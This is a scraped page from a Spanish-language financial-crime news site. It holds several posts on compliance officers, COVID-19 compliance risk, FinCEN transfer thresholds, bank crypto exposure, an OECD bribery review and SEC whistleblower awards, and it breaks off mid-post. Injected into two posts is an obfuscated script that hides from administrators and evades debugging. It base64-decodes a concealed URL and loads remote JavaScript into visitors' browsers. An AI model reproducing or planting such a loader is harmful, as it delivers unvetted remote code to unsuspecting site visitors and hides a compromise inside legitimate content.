terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la 